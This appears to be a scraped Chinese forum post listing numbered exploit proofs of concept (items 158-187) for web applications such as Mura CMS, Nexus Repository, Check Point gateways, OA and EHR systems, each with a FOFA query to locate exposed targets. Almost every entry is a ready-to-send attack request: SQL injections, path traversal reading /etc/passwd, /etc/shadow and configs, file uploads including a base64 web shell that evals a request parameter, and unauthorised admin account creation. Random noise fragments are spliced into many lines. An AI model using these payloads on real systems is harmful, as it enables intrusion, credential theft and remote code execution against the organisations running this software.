6 \& V& b, R1 E5 w% d  v3 F/ F158. Mura-CMS-processAsyncObject存在SQL注入
% a! G4 w3 ~: A+ m% Q7 E9 kCVE-2024-32640
7 {4 a& M* @2 H; y0 oFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. E4 F5 `# Y5 x6 k' m* cContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

4 E7 m2 A& n3 q  Y0 s
. Z& t" {: P- ?% o) |159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
4 z% E! c6 p: ]+ ]" nPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
# U5 [1 t$ w) F5 {5 t* gConnection: close
6 p  ?5 v2 K5 |  `1 N* MContent-Type: text/xml; charset=utf-8
& h5 s9 X9 G! ]  LSoapaction: "http://rainier/jobUpload"
: G: f2 j* \1 o/ Z. L
; s# P- a, j* {<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
5 X1 W! R( j& s4 J3 `; j</jobUpload>
</soap:Body>
% \" N7 l2 w3 U</soap:Envelope>
$ |9 h: a& Z4 H# U+ x# `
* e# Q' z4 H1 i) U
8 i; E0 {. P2 Q, e/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


- B& o4 e4 t% g; M3 W% i" I. m160. Sonatype Nexus Repository 3目录遍历与文件读取
! g% K$ j, s6 x2 [2 yCVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
( J3 a0 E- t9 Y8 ^+ P; t$ OUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
7 r* ?/ w1 ^5 s! G+ G4 a! W. J3 UConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
3 U7 A5 x, M, N- [1 y1 pPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
, w2 ?2 A3 \# X8 x0 h3 vConnection: close
0 U: n# z; V4 _) C, {  rContent-Length: 445
; |+ t& ^+ p% b& L! lContent-Type: text/xml
4 h" m/ I9 Q6 F4 F6 @) E" h2 |Accept-Encoding: gzip
4 g0 H; J2 g8 q; c% L
& Y/ e/ h/ M; }* U5 H3 }<?xml version="1.0" encoding="utf-8"?>
; p7 \3 E$ Z& \& T<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- J$ N& @! x, h3 e<soap:Body>
4 Q8 v4 u4 z" Z& O+ Z! O<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
& J+ ?3 T: R; h</UploadResume>
</soap:Body>
$ W- C& l. Q7 ]1 p! v# K6 e) ~5 p</soap:Envelope>
" k3 F2 E. }3 X

  M! f$ v' A+ q% ehttp://x.x.x.x/dizxdell.aspx
( B1 \% }; K/ o; H8 @5 T# |9 G
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
, Q' q/ Z5 K1 z+ C$ kConnection: close
$ [8 H2 E! \/ {0 }7 p" yContent-Length: 583
1 Z* M9 T) Z% {; mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

4 @# u0 d, O$ W  F) g5 B7 U------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
  d5 X6 L" N0 t1 ]9 k
<% response.write("ujidwqfuuqjalgkvrpqy") %>
! N+ O8 C2 w8 i- L------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
& x) p$ J. R5 M' K5 y
upload
4 T/ \7 s. M9 n" W------WebKitFormBoundaryeegvclmyurlotuey
8 K6 E, k& `7 y( x0 EContent-Disposition: form-data; name="responderId"
/ u3 W4 v* N  [0 e% r
ResourceNewResponder
0 Q3 I6 q( R: I# P------WebKitFormBoundaryeegvclmyurlotuey
8 q8 }  F1 ?" \, V0 e7 V3 ~. ^6 pContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


5 u. K3 ?, c) L2 f0 \" khttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
  V9 G! d7 S" O8 z9 r8 bPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
- S1 f6 ^  T% h" b( c& m* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# L3 {% u1 t2 j! l9 S/ H* yConnection: close
Content-Length: 293
Accept: */*
/ y5 p1 V* ^. g" K; JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 T) \& z0 D$ s8 ^5 JContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
( i4 |$ |% I7 w1 m) ^Content-Disposition: form-data; name="name"
1 a% F! ^0 I! T* }6 d
2 z$ z& o4 {% L% l1.php
! `' O3 j! h( f; ~9 y5 }2 ^! i& D------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
2 f$ }) N4 v7 R# n0 ]  ~2 eContent-Type: image/jpeg
( ~5 J' {' @4 L" C: w8 M) T" d
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
  ]6 c) y/ `0 p' p# ~

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
5 b$ I' c7 |6 A/ c* a. ZFOFA: title="智慧综合管理平台登入"
2 \! @+ @$ _$ o, v1 A! JPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
8 Z; g5 O: I7 m0 B5 ^8 @6 ~6 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
$ v. x; C# u2 j3 [Accept: application/json, text/javascript, */*; q=0.01
' d" T3 T; K. h% U3 C/ vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
* A( ~) O- N: S' x0 X$ V' {, mConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
; C4 p: }7 |0 G# t* KAccept-Encoding: gzip
2 t9 Y* m4 F# G1 R3 F
------dqdaieopnozbkapjacdbdthlvtlyl
7 c; ~- D* c: G6 Z& I. T  P4 W' |Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
8 [4 W8 }' j' v+ @% O% `# ]$ GContent-Type: image/jpeg

) f( o* B! Q% W: h# ?) z<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
3 Z- {8 V9 i! x" M$ W- L------dqdaieopnozbkapjacdbdthlvtlyl--

! h  f9 O+ f2 M3 _  d
( R2 [' Q& G0 M8 N: i) |. Mhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
. C0 s% v8 r3 F' P
165. OrangeHRM 3.3.3 SQL 注入
3 o% K3 z" h" J* yCVE-2024-36428
- Z+ N1 o" q* [7 E+ VFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
5 \! }8 d5 G2 t0 Q) T+ q

8 C7 u" C4 Y# J/ ^7 }- a# b166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
* K* m& ?: q: ?+ m8 L5 o7 f/ E: \Host:
Pragma: no-cache
/ x, Q8 N/ E1 WCache-Control: no-cache
9 C8 @9 Q. S% U+ R2 \Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
' i& g" ?( z9 V+ R1 ]5 i$ F/ r
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

- u, ~# ^2 p! u0 ~$ z
- D/ E4 E# t& M7 J167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
. e2 M  ]% O( G7 Z5 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 F- c8 C6 A( M9 E; j3 W) S/ z/ {Accept: */*
2 i5 w+ k! X$ M5 k* G: _% C0 sConnection: keep-alive

8 F( R$ `. J; B+ n( L. L0 A" S
168. 宏景EHR OutputCode 任意文件读取
% z$ y  s) P1 E2 d6 L' {5 |FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
8 T+ q( u. q6 u# Q. A/ IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( T+ d# l' K- |& [2 w/ XConnection: close

- ?9 M& k8 ~# ~
( ]$ [- k* D1 m- I
  H- ?9 _7 j1 F169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
4 U) y+ X) M8 k% rGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
4 v* `1 B7 m- p5 @% K5 r, O! l: SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

& A: e, J! O; I" `8 a' I- u
7 O5 W6 `/ U7 d' F8 l$ N1 f, j1 B
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% c+ G% ^+ t' b; U: n8 n
$ ~0 Z) }7 e- u3 l0 |9 C  `- N3 }filename=../webapps/ROOT/WEB-INF/web.xml
; r" ^1 r$ `& t- C& e( ~
( v0 T. U. R  l6 L$ O3 G6 {
3 X2 W' }# B6 u8 E171. 通天星CMSV6车载定位监控平台 SQL注入
* v+ h6 j" W+ _# ?9 M2 EFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
. c* T) E# U4 e2 O* W% e7 p( KHost: your-ip
& d. l- \9 [! K) {8 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
9 ^1 i2 ~# W9 w% l& p/ RAccept: */*
9 w6 M2 M3 V3 d6 \# U  qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) Y4 M/ `( i( ?Accept-Encoding: gzip, deflate
Connection: close

9 I0 k7 K  U) I8 I6 \( o, N

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
8 a$ d/ S9 c9 _! w+ b' PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ E- N: }4 n/ w% D; K0 cAccept-Encoding: gzip, deflate
9 {3 U6 e( j6 Y& D7 }Accept: */*
Connection: keep-alive
& {; [% Z. b: o- m
0 b/ K( i' b5 `- I

173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
0 z9 ?. Y% t% U7 aHost: your-ip
Content-Type: application/x-www-form-urlencoded
2 c9 K* r% ~# |! @) |' h
$ Q& A6 j) Z/ _! IaCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
* h  Q. \5 T2 Q) L7 i+ m; D: MFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
) E' `3 ~, {3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 n4 g0 r; p& @& aAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

) \' f( }- |% q$ ~

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; O, b1 L' t6 O& E) b, wFOFA：app="金和网络-金和OA"
0 H) r8 X; R4 D7 `GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) ^, ]* `+ k, h, v9 Z9 l, O& a0 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, l* m& Z/ r" D. ~+ a- q5 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' D% L, |- U. ]  S9 k5 AConnection: close
Upgrade-Insecure-Requests: 1
: ?3 z8 O) x& C( Q) U: _% U

( Q) a7 S" F$ T1 H; r176. 电信网关配置管理系统 rewrite.php 文件上传
7 p' C5 T" P1 [3 \9 v" \: Q! EFOFA：body="img/login_bg3.png" && body="系统登录"
8 G" v2 d5 ]2 J& ?* D0 a- zPOST /manager/teletext/material/rewrite.php HTTP/1.1
2 E- R5 g. ?+ [3 E& c" vHost: your-ip
- Q  c5 |: I' e0 O) R; G6 x- O. ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. k+ ?$ A( n/ ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
3 D; N2 a; P& O4 B" p  b
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

/ m6 q- m( {" s<?php system("cat /etc/passwd");unlink(__FILE__);?>
( t& U: \. {# p2 |. m5 A8 M9 F" v------WebKitFormBoundaryOKldnDPT
# J) X8 E$ P, p7 N1 \3 t2 JContent-Disposition: form-data; name="uploadtime"
" k* m2 b0 [9 I+ m# ?$ X, O6 S6 q

' j3 l* _; @2 u. O------WebKitFormBoundaryOKldnDPT--

) t, F- Z+ A- t! }1 C( S

0 }3 y& E, z2 K1 ]6 D0 ]177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
: j. p' F& K3 K/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
1 q6 U* |  v( w9 S, x$ j& w/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
2 g9 i( C9 G3 @6 t  V- U5 _2 H2 L/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
" I8 p0 T( S7 h9 v2 ?/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
7 D2 @0 H; U, e# g& @4 [/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
& O, H& H  H  w7 M/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
) J6 x- Z1 e' ]: E# I* M5 O/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
0 }9 L* \6 }, v( I  u: I
1 Y: }* b' j- x7 J* g' L: M
5 I6 n! ?/ X  h3 G8 o178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
8 }; ]  a* o; i% h8 r" |, fPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
! \, _9 X3 O% U4 I  a* C# yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
) v" \0 l0 _. t' k8 |% A& F; q) ]Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
& M4 c- q9 V7 d& L9 A3 [9 i-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
& S, U7 ~# w* x1 AContent-Type: application/octet-stream
Content-Length: 255
% B, I1 ]1 s% w5 y" w( {
12234
/ L9 Q' b: j# C& ~+ B# t3 q% g-----------------aqutkea7vvanpqy3rh2l--

7 A( Y" t: k; k5 s8 n" B
$ T. F$ F2 n: t2 n& E: }/ aGET /imc/primepush/%2e%2e/flex/12234.txt
6 p% r- X2 b9 }( l, k% V& k$ _

6 M. N% e, [1 a% }2 k3 W3 X179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
- E* k- w. P% l
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
1 D  |& W1 [4 o$ n* n1 xGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) d& w, }1 q, }; U8 y
' U& T+ P# S. k. Y* H. I- _) |0 A7 x
, c6 g. [: z' r, k181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; w6 y6 f; D- B4 j  jFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
0 f0 u+ y5 W7 q# FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 }6 \8 H( V3 f4 o" Q5 C' m6 T( z% mAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

. F' U9 b$ Z1 i6 G, w7 U
  a3 C+ Y' |+ D9 ?action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
* P, X% k* [9 r& Q8 z( lFOFA："PDCA/js/_publicCom.js"
: h+ T9 {' |. i+ w! G% iPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
/ c7 C3 w! `% |: k2 C- N! ]1 AHost: your-ip
1 t7 B9 w! @1 D/ I8 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
  |4 Z7 ]" S2 _% O+ JConnection: close
Content-Type: application/x-www-form-urlencoded
% n. {, o* m8 u& K) f6 L% n* x4 O/ b

username=test1234&pwd=test1234&savedays=1


/ t0 u' _  k/ A5 C183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
4 j# @  a" w- pFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
2 B4 ~& S1 \7 t, Z7 {  S: oGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
# \& z8 d' e0 |; LHost: your-ip
8 I( Q; S! g0 x4 o( m2 G- Q9 QUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
$ Y, E0 d! M  w3 B, ?Accept-Encoding: gzip, deflate
" Y- j( E$ K6 ~7 Y# W' B" `Connection: close
5 h3 I4 L6 M9 W* H3 V4 g2 Y

( M% F9 r6 @: L7 A7 z184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
7 L5 q2 s- E# o9 s. |* zHost: your-ip
4 c$ }* O7 r$ s) _Accept-Encoding: gzip, deflate
, [/ l$ f( S# w# y9 ?5 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
. ~2 D5 @" q4 r3 F0 N# J* EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
5 X3 Z9 Q% X. J9 C. z$ r+ i" D
0 U- M* ]# K% z1 \
8 F$ {8 @3 _6 Q9 f/ Z; i% Einsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

. w# E+ m8 P( x
/ d" H' [' r, c7 e+ D/ I185. 瑞友天翼应用虚拟化系统SQL注入
2 W3 `8 l0 R7 @9 s6 ~  W6 [version < 7.0.5.1
3 \# H0 c& c& R3 S% r  qFOFA：app="REALOR-天翼应用虚拟化系统"
2 Q9 H5 `3 p& G! I/ P( ?GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

- V  ?3 M1 b2 p7 Z' c: O& r8 Z; _0 ?4 d
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
; d) @7 A6 G. ?" hFOFA：title=="DataCube3"
$ w/ M$ x. X4 Q, B3 gPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
5 w8 z9 q* O/ p2 N: sHost: your-ip
" B) F3 i4 A  t2 Z8 h( RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
( o2 o/ D5 l' F* w5 Q) fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
( t. _+ ]6 X, c; ~' X
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


, q6 d0 E4 y8 J; j$ q4 `187. Mura CMS processAsyncObject SQL注入
3 b- K6 v7 H: Q6 D9 X) _CVE-2024-32640
FOFA："Mura CMS"
: y; @- n; N) u: w6 CPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
6 O" ?( k) Y) Y" {8 _9 jContent-Type: application/x-www-form-urlencoded
' ~5 G/ R: M3 v# e* @4 ]
0 h# h' ^4 o# G/ n! I' b
7 H: @! m: a, ~' J% Hobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
9 A' e6 c1 o) \9 W1 v) v
3 [& {/ m" X' _+ l' l
